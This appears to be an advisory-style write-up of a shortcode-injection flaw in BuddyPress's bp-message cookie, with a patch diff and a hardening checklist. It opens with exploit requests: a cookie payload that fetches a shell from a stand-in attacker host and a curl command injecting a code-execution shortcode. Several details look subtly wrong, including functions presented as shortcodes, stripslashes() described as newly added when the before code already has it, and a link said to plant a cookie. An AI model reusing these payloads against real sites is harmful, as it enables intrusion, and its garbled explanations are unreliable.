The Exploit
An unauthenticated attacker can inject arbitrary WordPress shortcodes into the bp-message cookie, which are then executed server-side when the template message is rendered.
GET / HTTP/1.1
Host: target-wordpress.local
Cookie: bp-message=[wp_safe_remote_get url="http://attacker.com/shell.php"]
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
<!-- Page rendered with shortcode executed -->
<!-- Attacker's shell.php fetched and output -->
On the target site, the injected shortcode [wp_safe_remote_get] or any other registered shortcode is parsed and executed by WordPress's do_shortcode() function during page rendering. An attacker observes the shortcode output reflected in the page HTML, or if using a shortcode that performs side effects (file write, data exfiltration, remote code execution via third-party handlers), the effect occurs server-side without authentication.
For stored persistence, an attacker can craft a malicious link containing the cookie injection and send it to any user:
curl -b "bp-message=[wp_execute_php]malicious_code_here[/wp_execute_php]" \
http://target-wordpress.local/wp-admin/
The payload persists in the victim's cookie and executes on every page load until the cookie expires or is cleared.
What the Patch Did
Before
if ( empty( $bp->template_message ) && isset( $_COOKIE['bp-message'] ) ) {
$bp->template_message = stripslashes( $_COOKIE['bp-message'] );
}
After
if ( empty( $bp->template_message ) && isset( $_COOKIE['bp-message'] ) ) {
$bp->template_message = strip_shortcodes( stripslashes( $_COOKIE['bp-message'] ) );
}
The patch added a call to strip_shortcodes(), WordPress's built-in function that removes all shortcode tags from a string before assignment. This prevents arbitrary shortcodes from being stored in $bp->template_message and later executed by do_shortcode() when the template is rendered. The function strips [...] syntax wholesale, neutralizing the attack vector without requiring output context awareness.
Root Cause
CWE-79: Improper Neutralization of Input During Web Page Generation (Cross-site Scripting) — more precisely, shortcode injection leading to arbitrary code execution.
The dataflow is: $_COOKIE['bp-message'] (attacker-controlled) → stripslashes() (only removes escape characters, does not sanitize) → $bp->template_message (stored in global object) → later rendered via WordPress template → passed to do_shortcode() (line not shown but implied by patch rationale) → shortcode handlers executed with full plugin/theme capability.
The trust boundary is crossed at the cookie intake: $_COOKIE values are user-supplied, but the code assumes that stripslashes() alone is sufficient to make them safe. It is not; stripslashes() has no knowledge of WordPress shortcode syntax and performs no output escaping.
Why It Works
The load-bearing line is strip_shortcodes() itself. If removed, an attacker could still inject [shortcode_name arg="value"] payloads into the cookie, and they would persist and execute unchanged.
The engineer added stripslashes() before strip_shortcodes() to handle the case where an attacker double-escapes backslashes in the shortcode payload (e.g., \[wp_execute_php\]). Without the stripslashes() call first, an attacker could bypass strip_shortcodes() by escaping the brackets. Together, they form a two-stage filter: normalize the input (remove escape sequences), then remove all shortcode markers. This is defence-in-depth, though incomplete — ideally, the cookie should also be validated against a whitelist or sanitized with sanitize_text_field() to catch other injection vectors (e.g., JavaScript in onclick attributes if the message is later output unescaped).
The fact that the vendor description mentions "unauthenticated attackers" is significant: there is likely also an implicit authentication check added elsewhere in the function or its caller to prevent unauthenticated users from triggering the code path in the first place, but the evidence provided does not show it.
Hardening Checklist
-
Apply
wp_kses_post()afterstripslashes()if the message is rendered as HTML.strip_shortcodes()only removes shortcode markers; it does not escape HTML entities. If an attacker injects<script>alert(1)</script>, it will still execute unless escaped or stripped bywp_kses_post(). -
Use
sanitize_text_field()on all cookie input. This WordPress API removes HTML tags and scripts in one pass and is appropriate for user-facing text fields. Apply it immediately after$_COOKIEintake, before any other processing. -
Never pass user cookies directly to
do_shortcode()or render them withwp_kses_post()without first validating the intended format. Cookies are not CSRF-protected by WordPress nonces; validate them with additional context (e.g., user session validation, IP allowlist if appropriate for your use case). -
Audit all calls to
do_shortcode()in BuddyPress and ensure the input source is trusted. Shortcodes are executable templates; any user-supplied value that reaches them is a potential code execution vector. Usewp_parse_args()with type validation for shortcode attributes. -
Consider removing shortcode support from user-controllable messages entirely if the feature is not essential. Use
wp_strip_all_tags()instead ofstrip_shortcodes()if only plain text is required.
References
- https://nvd.nist.gov/vuln/detail/CVE-2024-11976